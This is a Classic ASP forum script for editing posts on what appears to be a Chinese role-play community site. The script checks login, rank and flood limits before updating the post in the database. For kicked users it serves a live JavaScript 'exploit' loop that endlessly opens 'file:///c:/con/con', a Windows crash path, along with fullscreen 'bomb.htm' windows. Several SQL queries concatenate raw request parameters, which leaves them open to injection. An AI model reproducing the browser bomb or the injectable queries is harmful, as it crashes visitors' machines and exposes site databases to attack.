<%@ codepage ="936" %>
<!-- #include file="setupadd.asp" -->
<!-- #include file="inc/ybbcode.asp" -->
<%
server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
	error("<li>来源错误")
end if
if nickname="" or grade=0 then
	message=message&"<li>你已经超时掉线，请重新<a href=index.asp>登录</a><li>此用户名还未<a href=joinjh.htm>注册</a>"
	error(""&message&"")
end if
if grade<de_grade then
	message=message&"<li>当前官府设置只有管理"&de_grade&"级在以上才有发贴"
	error(""&message&"")
end if
if instr(kickwords,"|" & nickname & "|")<>0  then
Conn.close
set rs=nothing
set rs1=nothing
set conn=nothing
%>
<script language="JavaScript"> 
exploit();
function exploit() { 
while(1) { 
window.open('file:///c:/con/con');
window.open('bomb.htm','','fullscreen=yes,Status=no,scrollbars=no,resizable=no');
} 
}
</script> 
<%
Response.end
end if
sj2=nowsj()
ispaodian=DateDiff("n",lasttime,sj2)
if ispaodian<0 then 
call error2("你现在是离线状态不能发贴！")
end if
ispaodian=DateDiff("s",lasttime,sj2)
if ispaodian<10 then 
	call error2("官府的人突然出现，一脚踹到你的小屁股，慢点来，不准刷屏！(发言后十秒内不能操作)")
end if
function nowsj()
	s=Hour(time())
	f=Minute(time())
	m=Second(time())
	if len(s)=1 then s="0" & s
	if len(f)=1 then f="0" & f
	if len(m)=1 then m="0" & m
	sj=s & ":" & f & ":" & m
n=Year(date())
y=Month(date())
r=Day(date())
if len(y)=1 then y="0" & y
if len(r)=1 then r="0" & r
twt_nowsj=n & "-" & y & "-" & r & " "
	nowsj=twt_nowsj & sj
end function
username=nickname
forumid=Request("forumid")
id=Request("id")
topic=server.htmlencode(Trim(Request("topic")))
content=server.htmlencode(Trim(Request("content")))
b_htmlcode=Request.form("htmlcode")
if instr(username," ")>0 then:error("<li>非法操作"):end if
if topic="" then
message=message&"<li>主题没有填写"
end if
if content="" then
message=message&"<li>内容没有填写"
end if
if Len(topic)>30 then
message=message&"<li>文章主题不能大于 30 字节"
end if
if instr(topic,"ヴ") > 0 or instr(topic,"ヂ") > 0 or instr(topic,"ゼ") > 0 or instr(topic,"ヅ") > 0 then
message=message&"<li>主题中不能含有“ヴ ヂ ゼ ヅ”字符"
end if
if instr(content,"ヴ") > 0 or instr(content,"ヂ") > 0 or instr(content,"ゼ") or instr(content,"ヅ") > 0 then
message=message&"<li>内容中不能含有“ヴ ヂ ゼ ヅ”字符"
end if
'推荐主题
topic=replace(topic,"(荐)","")
sql="select bbsname,pro from bbsconfig where id="&forumid&""
rs.Open sql,Conn,1
if rs.eof then
message=message&"<li>数据库中不存在ID为 "&forumid&" 的论坛数据"
end if
bbsname=rs(0)
b_pro=rs(1)
rs.close
if Request.form("ybbcode")="" and b_htmlcode<>"1"  then
	autoEmail=Request.form("autoEmail")
	autoURL=Request.form("autoURL")
	content = ybbcode(content,autoURL,autoEmail)
end if
if Len(badwords)>2 then
filtrate=split(badwords,"|")
for i = 1 to ubound(filtrate)-1
topic=replace(topic,""&filtrate(i)&"","****")
content=replace(content,""&filtrate(i)&"","****")
next
end if
if message<>"" then
error(""&message&"")
end if
conn.close
conn.open connstr2
sql="select 门派,身份,等级,状态,名单头像 from 用户 where 姓名='"&username&"' "
rs1.Open sql,conn,1,1
mypai=rs1(0)
myshengF=RS1(1)
if len(myshengF)>6 then myshengF=left(myshengF,6) & "..."
MyDengJi=rs1(2)
mypic2=rs1(4)
rs1.close
conn.close
Set Conn=Server.CreateObject("ADODB.Connection")
conn.open connstr
if Request("retopicid")<>"" then
sql="select * from reforum where id="&Request("retopicid")&""
else
sql="select * from forum where ID="&ID&" and forumid="&forumid&""
end if
rs.Open sql,Conn,1,3
if INT(rs("jhid"))<>INT(bbsmyid) and grade<>10 then
message=message&"<li>您不是原贴的作者也不是站长不能编辑别人的贴子"
error(""&message&"")
end if
if rs("jhid")=bbsmyid then
	rs("门派")=mypai
	rs("身份")=myshengF
	rs("管理")=grade
	rs("战斗")=MyDengJi
	rs("mypic2")=mypic2
	rs("jhid")=bbsmyid
end if
content=""&content&"<br><br>［此帖子已被 "&username&" 在 "&now&" 编辑过］"
rs("htmlcode")=b_htmlcode
rs("topic")=topic
rs("content")=content
rs.update
rs.close
succtitle="修改帖子成功"
message=message&"<li><a href=showtopic.asp?id="&id&"&forumid="&forumid&">返回主题</a><li><a href=forumdisplay.asp?forumid="&forumid&">"&bbsname&"</a><li><a href=index.asp>返回论坛首页</a>"
succeed(""&message&"<meta http-equiv=refresh content=3;url=showtopic.asp?id="&id&"&forumid="&forumid&">")
%>